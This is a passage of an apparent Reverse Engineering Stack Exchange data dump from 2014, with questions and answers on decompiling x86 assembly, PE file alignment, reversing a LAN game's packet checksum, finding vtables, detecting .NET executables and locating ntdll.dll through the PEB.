6C250EDF    .....    &amp;lt;&amp;lt;&amp;lt;&amp;lt;------------------------------+&#xA;&#xA;while (*ESI!=0) {&#xA;    DL=(char)*ESI;&#xA;    if ((some_table_of_chars[DL]&amp;amp;4)!=0) { /* lengthy, but explicit */&#xA;        *ECX=*ECX+1; /* 4 byte integer */&#xA;    } else {&#xA;        *ECX=*ECX+2; /* 4 byte integer */&#xA;        if (EAX!=0) { /* don't write to NULL address */&#xA;            DL=(char)*ESI;&#xA;            (char)*EAX=DL;&#xA;            ESI++;&#xA;            EAX++;&#xA;            DL=(char)*ESI;&#xA;            (char)*EAX=DL;&#xA;            EAX++;&#xA;        }&#xA;    }&#xA;    ESI++;&#xA;    if (*ESI=='&quot;') {&#xA;        break;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd almost guess it's copying characters from &lt;code&gt;[ESI]&lt;/code&gt; to &lt;code&gt;[EAX]&lt;/code&gt;, perhaps counting single or double-wide characters as it does this, stopping at either end of the string (&lt;code&gt;[ESI]&lt;/code&gt;) or at a double-quote character.&lt;/p&gt;&#xA;" OwnerUserId="2973" LastEditorUserId="53" LastEditDate="2014-05-27T11:24:50.080" LastActivityDate="2014-05-27T11:24:50.080" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4457" PostTypeId="1" AcceptedAnswerId="4471" CreationDate="2014-05-27T07:27:00.773" Score="3" ViewCount="690" Body="&lt;p&gt;I only found this term &quot;low alignment mode&quot; in the &lt;a href=&quot;https://code.google.com/p/corkami/wiki/PE&quot; rel=&quot;nofollow&quot;&gt;corkami wiki&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;standard mode: 200 &amp;lt;= FileAlignment &amp;lt;= SectionAlignment and 1000 &amp;lt;= SectionAlignment&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;low alignment: 1 &amp;lt;= FileAlignment = SectionAlignment &amp;lt;= 800&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The numbers are hex values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some possible implications are described by &lt;a href=&quot;https://media.blackhat.com/bh-us-11/Vuksan/BH_US_11_VuksanPericin_PECOFF_WP.pdf&quot; rel=&quot;nofollow&quot;&gt;ReversingLabs&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems low alignment is necessary to make the PE Header writable. However, FileAlignment and SectionAlignment have to be lower than or equal to 200h, which is more restrictive than the low alignment mode above. So I am not sure if this is really a consequence of low alignment or if low alignment mode is just one part of that &lt;em&gt;trick&lt;/em&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition it seems that the virtual addresses have to be equal to the physical ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to understand this better.&lt;br&gt;&#xA;My questions are: What implications has the low alignment mode? How is the way changed the loader loads the PE? Why is it that way?&lt;/p&gt;&#xA;" OwnerUserId="4608" LastActivityDate="2014-05-28T16:15:21.373" Title="What implications has the low alignment mode of a PE file?" Tags="|pe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4458" PostTypeId="2" ParentId="4448" CreationDate="2014-05-27T08:26:58.790" Score="0" Body="&lt;p&gt;Use &lt;code&gt;GetModuleHandle()&lt;/code&gt; to get the base address of the module and the offset.&#xA;The offset is just &lt;code&gt;current address - base address&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4413" LastEditorUserId="53" LastEditDate="2014-05-27T20:02:08.327" LastActivityDate="2014-05-27T20:02:08.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4459" PostTypeId="2" ParentId="4455" CreationDate="2014-05-27T08:45:24.197" Score="4" Body="&lt;p&gt;note that i move the code from 6C250ED4-6C250ED8  to ....ECC to make the if/else clearer&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;6C250EAD    MOV DL, BYTE PTR DS:[ESI]                  |    while (dl = *esi) {&#xA;            TEST DL, DL                                |&#xA;            JE SHORT 6C250EDF                          | &#xA;&#xA;            MOVZX EDX, DL                              |&#xA;            TEST BYTE PTR DS:[EDX+0x6C25EF39],0x4      |    if (charinfo[dl]&amp;amp;4) {&#xA;            JE SHORT 6C250ECE                          |&#xA;&#xA;            ADD DWORD PRT DS:[ECX],0x2                 |       *ecx += 2&#xA;            TEST EAX,EAX                               |       if (eax) {&#xA;            JE SHORT 6C250ED9                          |&#xA;&#xA;            MOV DL, BYTE PTR DS:[ESI]                  |          *eax++ = *esi++&#xA;            INC ESI                                    |&#xA;            MOV BYTE PTR DS:[EAX], DL                  |&#xA;            INC EAX                                    |&#xA;&#xA;            MOV DL, BYTE PTR DS:[ESI]                  |          *eax++ = *esi&#xA;            MOV BYTE PTR DS:[EAX],DL                   |&#xA;            INC EAX                                    |      }&#xA;&#xA;            JMP SHORT 6C250ED9                         |   } else {&#xA;&#xA;6C250ECE    INC DWORD PTR DS:[ECX]                     |        *ecx += 1&#xA;            TEST EAX, EAX                              |        // ignored&#xA;            JMP SHORT 6C250ED9                         |   }&#xA;&#xA;6C250ED9    INC ESI                                    |&#xA;            CMP BYTE PTR DS:[ESI],0x22                 |   } while (*++esi!='&quot;')&#xA;            JNZ SHORT 6C250EAD                         |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the charinfo table is probably something like  isspace()  or isalnum(), from ctype.h&lt;/p&gt;&#xA;" OwnerUserId="1842" LastEditorUserId="262" LastEditDate="2014-05-27T09:13:57.307" LastActivityDate="2014-05-27T09:13:57.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4460" PostTypeId="1" AcceptedAnswerId="4489" CreationDate="2014-05-27T09:02:05.960" Score="9" ViewCount="12568" Body="&lt;p&gt;I am trying to reverse engineer a 16 bit checksum algorithm of one relatively old (10 years) LAN game that is no longer supported nor has source code available. &#xA;As it seems, data packets don't have standard structure when it comes to placing checksum bytes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Example 1:&#xA;&#xA;1f456e01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where first byte &lt;code&gt;1f&lt;/code&gt; seems to repeat itself in each packet and I assume it doesn't take part in generating checksum. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next two bytes &lt;code&gt;456e&lt;/code&gt; represent a checksum that presumably is a variation of &lt;code&gt;CRC-CCITT&lt;/code&gt; with non-standard polynomial. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, &lt;code&gt;01&lt;/code&gt; byte represents data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are few more examples of packets with various data values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1f466e02&#xA;1f496e05&#xA;1f4b6e07&#xA;1f4c6e08&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wish I could post more diverse values but these are only ones I've been able to capture so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried fiddling with &lt;a href=&quot;http://reveng.sourceforge.net/&quot; rel=&quot;noreferrer&quot;&gt;reveng&lt;/a&gt; to reverse engineer the polynomial with following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;reveng -w 16 -s 01456e 02466e 05496e&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here the checksum bytes are relocated at the end, as reveng expects them in this format. But this gave no results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried comparing these checksums to most if not all common crc algorithms using online calculators but none of them give even close outputs to those above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Honestly, I don't know where else to look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any hints/help or anything at all is much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to capture some more samples, however they are slightly different in terms of structure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example 1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0e ed76 00 312e362e37544553540000000000000000000000000000000000000000 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here the first byte &lt;code&gt;0E&lt;/code&gt; represents a sort of index, that I still think doesn't take part in generating checksum.&#xA;Then comes two byte checksum &lt;code&gt;ED76&lt;/code&gt; followed by &lt;code&gt;00&lt;/code&gt; sort of separator (newline?) byte that I also think doesn't take part in computing checksum.&#xA;Afterwards follows data sequence: &lt;code&gt;312e362e37544553540000000000000000000000000000000000000000&lt;/code&gt; which finally is proceeded by &lt;code&gt;00&lt;/code&gt; terminating character that I also think has nothing to do with checksum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can manipulate with the data part of this sequence of bytes so here are some more examples:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Example 2:&#xA;&#xA;HEX:    0E109D00414141414141414141414141414141414141414141414141414141414100&#xA;ASCII:  ....AAAAAAAAAAAAAAAAAAAAAAAAAAAAA.&#xA;&#xA;Example 3:&#xA;&#xA;HEX:    0E8DC300424242424242424242424242424242424242424242424242424242424200&#xA;ASCII:  ....BBBBBBBBBBBBBBBBBBBBBBBBBBBBB.&#xA;&#xA;Example 4:&#xA;&#xA;HEX:    0E403500313131313131313131313131313131313131313131313131313131313100&#xA;ASCII:  .@5.11111111111111111111111111111.&#xA;&#xA;Example 5:&#xA;&#xA;HEX:    0E34CF00353535353535353535353535353535353535353535353535353535353500&#xA;ASCII:  .4..55555555555555555555555555555.&#xA;&#xA;Example 6:&#xA;&#xA;HEX:    0E3E0C00313233343536373839304142434445464748494A4B4C4D4E4F5051525300&#xA;ASCII:  .&amp;gt;..1234567890ABCDEFGHIJKLMNOPQRS.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2:&lt;/strong&gt;  More samples added, checksum bytes reversed to show the actual 16 bit int (little endian)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Data         Checksum&#xA;&#xA;0x01         0x6E45  &#xA;0x02         0x6E46&#xA;0x03         0x6E47&#xA;&#xA;0x0001       0x3284&#xA;&#xA;0x0002       0x3285&#xA;0x0003       0x3286&#xA;0x0104       0x32A8&#xA;0x0005       0x3288&#xA;0x0903       0x33AF&#xA;0x0106       0x32AA&#xA;&#xA;0x3600       0x0AAE          &#xA;&#xA;0xAD00       0x1A05          &#xA;&#xA;0xF300       0x230B &#xA;0xF400       0x232C&#xA;0xF500       0x234D&#xA;0xF600       0x236E&#xA;0xF700       0x238F &#xA;0xF800       0x23B0 &#xA;&#xA;0xFE00       0x2476          &#xA;0xA800       0x1960          &#xA;&#xA;0xE200       0x20DA&#xA;0xE500       0x213D          &#xA;0xEE00       0x2266&#xA;&#xA;0x7300       0x128B&#xA;0x7600       0x12EE          &#xA;0xF700       0x238F          &#xA;&#xA;0xB400       0x1AEC&#xA;0xB800       0x1B70          &#xA;0xBC00       0x1BF4&#xA;&#xA;0x015E00     0xF68B&#xA;0x013D00     0xF24A&#xA;0x011C00     0xEE09 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 3&lt;/strong&gt;: More samples that might make it easier to see the pattern:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Checksum     Data (ASCII)&#xA;&#xA;3540         11111111111111111111111111111&#xA;3561         11111111111111111111111111112&#xA;3582         11111111111111111111111111113&#xA;&#xA;3981         11111111111111111111111111121&#xA;39A2         11111111111111111111111111122&#xA;&#xA;c1a1         11111111111111111111111111211&#xA;4DC1         11111111111111111111111112111&#xA;&#xA;5de1         11111111111111111111111121111&#xA;7201         11111111111111111111111211111&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 4:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was a typo in one of &lt;strong&gt;EDIT 3&lt;/strong&gt; samples - correct checksum for &lt;code&gt;11111111111111111111111112111&lt;/code&gt; is &lt;code&gt;4DC1&lt;/code&gt; instead of &lt;code&gt;C10E&lt;/code&gt;. Edited original sample. Apologies to everyone who lost their time because of this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 5:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turns out, the index byte does play a role in calculating checksum, here is one particular example proving it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INDEX   CHECKSUM    PAYLOAD&#xA;&#xA;0x2B    0x704E      0x7E&#xA;0x3E    0x72C1      0x7E&#xA;&#xA;Same payload has different checksum for different indexes. (checksum bytes reversed to show the actual 16 bit int)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some more samples:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INDEX   CHECKSUM    PAYLOAD&#xA;&#xA;0x3E    0x72C0      0x7D&#xA;0x1F    0x6E45      0x01&#xA;0x2B    0x704F      0x7F&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Epilogue&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please see the accepted answer for the exact algorithm. Special thanks to &lt;strong&gt;Edward&lt;/strong&gt;, &lt;strong&gt;nrz&lt;/strong&gt; and &lt;strong&gt;Guntram Blohm&lt;/strong&gt;; solving this would take a lifetime without your help guys! &lt;/p&gt;&#xA;" OwnerUserId="4726" LastEditorUserId="4726" LastEditDate="2014-05-30T21:22:39.877" LastActivityDate="2014-05-31T03:23:23.387" Title="Guessing CRC checksum algorithm" Tags="|deobfuscation|decryption|networking|" AnswerCount="3" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="4461" PostTypeId="2" ParentId="4428" CreationDate="2014-05-27T09:37:53.937" Score="1" Body="&lt;p&gt;The code to detect and print virtual function table pointers is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int isIdentifier(const char* s) { // true if points to [0-9a-zA-Z_]*\x00&#xA;    if(!isValidPtr(s,0x10)) { return 0; }&#xA;    if(!s[0]) { return 0; }&#xA;    int i;&#xA;    for (i=0; s[i] &amp;amp;&amp;amp; i&amp;lt;512; i++) {&#xA;        if( i/0x10 &amp;amp;&amp;amp; i%0x10 == 0 &amp;amp;&amp;amp; !isValidPtr(s,0x10)) { return 0; }&#xA;        unsigned char c = s[i];&#xA;        if ('0'&amp;lt;=c &amp;amp;&amp;amp; c&amp;lt;='9' || 'a'&amp;lt;=c &amp;amp;&amp;amp; c &amp;lt;= 'z' || 'A'&amp;lt;=c &amp;amp;&amp;amp; c &amp;lt;= 'Z' || '_' == c) {&#xA;        } else {&#xA;            return 0;&#xA;        }&#xA;    }&#xA;    return !s[i];&#xA;}&#xA;&#xA;char* isVftPtr(void*addr) { // returns addr of mangled class name (prefix it with _Z to demangle with c++filt)&#xA;    unsigned int* vmtaddr = isValidPtr(addr,4)&#xA;                     &amp;amp;&amp;amp; 0 == (3 &amp;amp; *(int*)addr)&#xA;                     &amp;amp;&amp;amp; isValidPtr(*(int**)addr,4)&#xA;                     ? *(unsigned int**)addr&#xA;                     : (void*)0;&#xA;    if (vmtaddr&#xA;      &amp;amp;&amp;amp;isValidPtr(vmtaddr-2,0x20)&#xA;     ) {&#xA;        char**ptypeinfo = ((char***)vmtaddr)[-1];&#xA;        if (isValidPtr(ptypeinfo,4)&#xA;          &amp;amp;&amp;amp;isValidPtr((char***)ptypeinfo[0]-1,8)&#xA;          &amp;amp;&amp;amp;isValidPtr(((char***)ptypeinfo[0])[-1],8)&#xA;          &amp;amp;&amp;amp;isValidPtr(((char***)ptypeinfo[0])[-1][1],0x20)&#xA;          &amp;amp;&amp;amp;isIdentifier(ptypeinfo[1])&#xA;        ) {&#xA;            return !strncmp(((char***)ptypeinfo[0])[-1][1], &quot;N10__cxxabiv&quot;,12) ? ptypeinfo[1] : 0;&#xA;        }&#xA;    }&#xA;    return 0;&#xA;}&#xA;// Usage example: printVfts(&quot;pThis&quot;, pThis, -8, 0x400)&#xA;void printVfts(const char*tag, void* addr, int from, int upto) {&#xA;    void** start = addr+from;&#xA;    void** end = addr+upto;&#xA;    DLOG(&quot;{ %s ====== printVfts %p (%p..%p)&quot;, tag, addr,start,end);&#xA;    void**p;&#xA;    char*n = 0;&#xA;    for(p=addr;p&amp;lt;end;p++) {&#xA;        if (n = isVftPtr(p)) {&#xA;            DLOG(&quot;vft at %p [off=0x%x] _Z%s&quot;,p,(unsigned)p - (unsigned)addr, n);&#xA;        }&#xA;    }&#xA;    DLOG(&quot;} %s ====== printVfts %p&quot;, tag, addr);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code worked on Android/ARM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function &lt;code&gt;isValidPtr()&lt;/code&gt; is given in the question, the logging macro is given below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;android/log.h&amp;gt;&#xA;#define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG  , &quot;~~~~~~&quot;, __VA_ARGS__)&#xA;#define DLOG(...) __android_log_print(ANDROID_LOG_DEBUG  , &quot;~~~~~~&quot;, __VA_ARGS__)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And, finally:&lt;/strong&gt; &lt;code&gt;printVfts()&lt;/code&gt; showed that there is another VFT pointer at offset 0.&lt;/p&gt;&#xA;" OwnerUserId="4398" LastEditorUserId="4398" LastEditDate="2014-05-27T10:42:31.353" LastActivityDate="2014-05-27T10:42:31.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4462" PostTypeId="2" ParentId="4455" CreationDate="2014-05-27T11:23:07.650" Score="3" Body="&lt;p&gt;You can't be sure with stuff like that if you don't see it in action with some sample data, (or at least the 256 bytes at 6C25EF39), but i'd say this routine calculates the length of a utf-8 string and optionally copies it.&#xA;&lt;code&gt;ESI&lt;/code&gt; is a pointer to the original string, &lt;code&gt;EAX&lt;/code&gt; is a pointer to the destination, but might be zero as well, and &lt;code&gt;ECX&lt;/code&gt; is a pointer to the length of the string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The table at 0x6C25EF39 would be a 256-byte table, using the ascii code as index, which has some flags per byte that define the character's property. Like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define UTF8_2BYTE   0x04&#xA;unsigned char flags[256]={ .... }&#xA;&#xA;#define IS_UTF8_2BYTEMARK(x)    (flags[(x)] &amp;amp; UTF8_2BYTE)&#xA;&#xA;&#xA;.... // char *esi=source, char *eax=dest, int *ecx=length&#xA;&#xA;for ( ; *esi != '&quot;'; esi++) {&#xA;    dl=*esi;                                // ...EAD&#xA;    if (dl=='\0')&#xA;            break;&#xA;    if (IS_UTF8_2BYTEMARK(dl)) {            // ...EB6&#xA;            *ecx+=2;&#xA;            if (!eax)                       // ...EC2&#xA;                    continue;&#xA;            *eax++=*esi++;                  // ...EC6..ECB&#xA;    } else {&#xA;            *ecx++;                         // ...ECE&#xA;    }&#xA;    if (eax)&#xA;            *eax++=*esi;                    // ...ED4&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &quot;esi++&quot; part of the loop is at 6C250ED9, this is where the &quot;continue&quot; jumps to.&#xA;In my for loop, the &lt;code&gt;*esi != '&quot;'&lt;/code&gt; is a precondition; it isn't in your code, but i'd expect it to be in front of your loop.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2014-05-27T11:28:44.780" LastActivityDate="2014-05-27T11:28:44.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4463" PostTypeId="2" ParentId="1614" CreationDate="2014-05-27T11:33:57.723" Score="5" Body="&lt;p&gt;In addition to peter ferries answer, some python code to check for the same:&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;&#xA;def unpack(byte):&#xA;    return sum([&#xA;        ord(b) &amp;lt;&amp;lt; (8 * i) for i, b in enumerate(byte)&#xA;    ])&#xA;&#xA;if len(sys.argv) == 1:&#xA;    print &amp;gt;&amp;gt; sys.stderr, &quot;No input file given!&quot;&#xA;else:&#xA;    myfile = sys.argv[1]&#xA;&#xA;    with open(myfile, &quot;r&quot;) as f:&#xA;        f.seek(0x3c)&#xA;        peoffset = unpack(f.read(2))&#xA;        optoffset = peoffset + 24&#xA;        f.seek(optoffset)&#xA;        magic = f.read(2)&#xA;        offset = -1&#xA;        if magic == '\x0b\x01':&#xA;            offset = 208 + optoffset&#xA;        else:&#xA;            offset = 224 + optoffset&#xA;        f.seek(offset)&#xA;        clr_address = unpack(f.read(4))&#xA;        if clr_address == 0:&#xA;            print &quot;no managed executable&quot;&#xA;        else:&#xA;            print &quot;managed executable&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4608" LastActivityDate="2014-05-27T11:33:57.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4464" PostTypeId="2" ParentId="4460" CreationDate="2014-05-27T11:57:06.967" Score="8" Body="&lt;p&gt;I'd assume the first byte is a message type ID, the 2nd and 3rd bytes are checksum, and the rest is payload. As the game is probably an i386 game, the payload ought to be little-endian. Now, if we compare your first 4 examples, with bytes 2 and 3 written as a 16-bit-int, we have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1f 6e45 01&#xA;1f 6e46 02&#xA;1f 6e49 05&#xA;1f 6e4b 07&#xA;1f 6e4c 08&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in these cases the checksum is always 0x6E44 plus the payload byte. This looks like a simple checksum algorithm to me, not a crc algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Maybe your game's name could be abbreviated as E N or N E, which could explain why the programmer used 0x6E44 as seed for his checksum?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your example 2 and 3, the checksum difference is C38D-9D10=267C (9853 decimal) which is a lot more than is explained by a few byte-wise +1 additions, so the bytes probably get multiplied by something depending on their position. Which would mean the checksum is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x6E44+sum(byte[i]*weight[i])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where i runs from 0 to the number of bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd start out with your version packet set to 11111, then 21111, then 31111, 41111, then 12111, 13111, 14111, then 11211, 11311, 11411, .... to see if&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;increasing a byte at a certain position always results in the same difference in checksum&lt;/li&gt;&#xA;&lt;li&gt;those bytes have different weight, and find a pattern which byte position increases the checksum by how much, to get the &lt;code&gt;weight&lt;/code&gt; values in above equation.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Edit&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I have a program that &lt;em&gt;almost&lt;/em&gt; works. As always, take it as an example of something quickly thrown together, not of good programming style. The last byte has a multiplier of 1; the multiplier for every other byte (n) is 33 (0x21) times the multiplier of (n+1).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void chksum(char *s) {&#xA;    int i, b, l, sum, fact;&#xA;&#xA;    if ((l=strlen(s))%2!=0) {&#xA;        printf(&quot;not an even number of digits\n&quot;);&#xA;        exit(2);&#xA;    }&#xA;    l/=2;&#xA;&#xA;    if (l==1)                       { sum=0x6e44; }&#xA;    else if (l==2 &amp;amp;&amp;amp; s[0]&amp;lt;='2')         { sum=0x3283; }&#xA;    else if (l==2 &amp;amp;&amp;amp; s[0]&amp;gt;='3')         { sum=0x03B8; }&#xA;    else if (l==31)                     { sum=0xd753; }&#xA;    else            {&#xA;        printf(&quot;unknown seed for %d bytes\n&quot;, l);&#xA;        exit(3);&#xA;    }&#xA;&#xA;    fact=1;&#xA;    for (i=l-1; i&amp;gt;=0; i--) {&#xA;        sscanf(s+2*i, &quot;%02x&quot;, &amp;amp;b);&#xA;        sum+=b*fact; sum &amp;amp;=0xffff;&#xA;        fact*=0x21;    fact&amp;amp;=0xffff;&#xA;    }&#xA;    printf(&quot;checksum is %04x\n&quot;, sum);&#xA;}&#xA;&#xA;void allsums() {&#xA;    int i;&#xA;    char *samples[]={&#xA;        &quot;01&quot;, &quot;02&quot;, &quot;03&quot;,&#xA;        &quot;0001&quot;, &quot;0002&quot;, &quot;0003&quot;, &quot;0104&quot;, &quot;0005&quot;, &quot;0903&quot;, &quot;0106&quot;,&#xA;        &quot;3600&quot;, &quot;ad00&quot;, &quot;f300&quot;, &quot;f400&quot;, &quot;f500&quot;, &quot;f600&quot;, &quot;F700&quot;, &quot;f800&quot;,&#xA;        &quot;fe00&quot;, &quot;a800&quot;, &quot;e200&quot;, &quot;e500&quot;,&#xA;&#xA;        &quot;00313131313131313131313131313131313131313131313131313131313100&quot;,&#xA;        &quot;00313131313131313131313131313131313131313131313131313131313200&quot;,&#xA;        &quot;00313131313131313131313131313131313131313131313131313131313300&quot;,&#xA;        &quot;00313131313131313131313131313131313131313131313131313131323100&quot;,&#xA;        &quot;00313131313131313131313131313131313131313131313131313131323200&quot;,&#xA;        &quot;00313131313131313131313131313131313131313131313131313132313100&quot;,&#xA;        &quot;00313131313131313131313131313131313131313131313131313231313100&quot;,&#xA;        &quot;00313131313131313131313131313131313131313131313131323131313100&quot;,&#xA;        &quot;00313131313131313131313131313131313131313131313132313131313100&quot;,&#xA;&#xA;        &quot;00414141414141414141414141414141414141414141414141414141414100&quot;,&#xA;        &quot;00424242424242424242424242424242424242424242424242424242424200&quot;,&#xA;        &quot;00353535353535353535353535353535353535353535353532353535353500&quot;,&#xA;        &quot;00313233343536373839304142434445464748494A4B4C4D4E4F5051525300&quot;,&#xA;    };&#xA;&#xA;    for (i=0; i&amp;lt;sizeof(samples)/sizeof(char *); i++) {&#xA;        printf(&quot;%s: &quot;, samples[i]);&#xA;        chksum(samples[i]);&#xA;    }&#xA;}&#xA;&#xA;int main(int argc, char **argv) {&#xA;&#xA;    if (argc==2) {&#xA;        chksum(argv[1]);&#xA;    } else if (argc==1) {&#xA;        allsums();&#xA;    } else {&#xA;        printf(&quot;bad args\n&quot;);&#xA;        exit(1);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It returns your checksums for most test strings; one of your checksums has probably been copy/pasted wrong (see my comment on your post), the last 2 don't seem to match, and what's really ugly is the initial checksum value depending on the length of the string. I'd assume it depends on the type byte (byte one in the packet, before the checksum) as well, so it would probably help if you could add that to your examples.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Edit 2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;What @Edward said. Initialize the checksum to 0, and prepend A3 02 and the type byte to the string, then use the above algorithm.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2014-05-30T21:03:53.763" LastActivityDate="2014-05-30T21:03:53.763" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4465" PostTypeId="1" AcceptedAnswerId="4466" CreationDate="2014-05-27T12:15:13.320" Score="9" ViewCount="4737" Body="&lt;p&gt;I am trying to get the base address of &lt;code&gt;ntdll.dll&lt;/code&gt; over the &lt;code&gt;PEB&lt;/code&gt;. So, what I did was to dump the &lt;code&gt;PEB&lt;/code&gt; (&lt;code&gt;d fs:[30]&lt;/code&gt;). Then, I tried to get to &lt;code&gt;PEB_LDR_DATA&lt;/code&gt; over the offset &lt;code&gt;0xC&lt;/code&gt;. Over the offset &lt;code&gt;0x1C&lt;/code&gt; of &lt;code&gt;PEB_LDR_DATA&lt;/code&gt; I found the the pointer of &lt;code&gt;InInitializationOrderModuleList&lt;/code&gt; and I was told that I can find the &lt;code&gt;ntdll.dll&lt;/code&gt; address there. And that I should first find the address of &lt;code&gt;kernel32.dll&lt;/code&gt; (which is always the second entry). So, I was able to find the address of &lt;code&gt;kernel32.dll&lt;/code&gt; but it seems like I can't find the address of &lt;code&gt;ntdll.dll&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00251ED8  .ܛὈ%Ậ%ὐ%Ẵ%.....@ᐴ@怀.TVٜڔ倀...뉨粘뉨粘趨即....ꮫꮫꮫꮫ......ܨ‐%Ỡ%‘%Ứ%&#xA;00251F58  †%Ẽ%.粑Ⱘ粒怀:Ȉ퀨粘⅘粓䀄耈..니粘니粘뾿䠂....ꮫꮫꮫꮫ......ܵC:\WINDOWS\system32\&#xA;00251FD8  kernel32.dll.ꮫꮫꮫꮫﻮﻮﻮ......߁⅐%Ὀ%⅘%ὐ%Ⅰ%὘%.粀똾粀耀@Bᾰ%Ῐ%䀄耈..늰粘늰粘뿀䠂&#xA;00252058  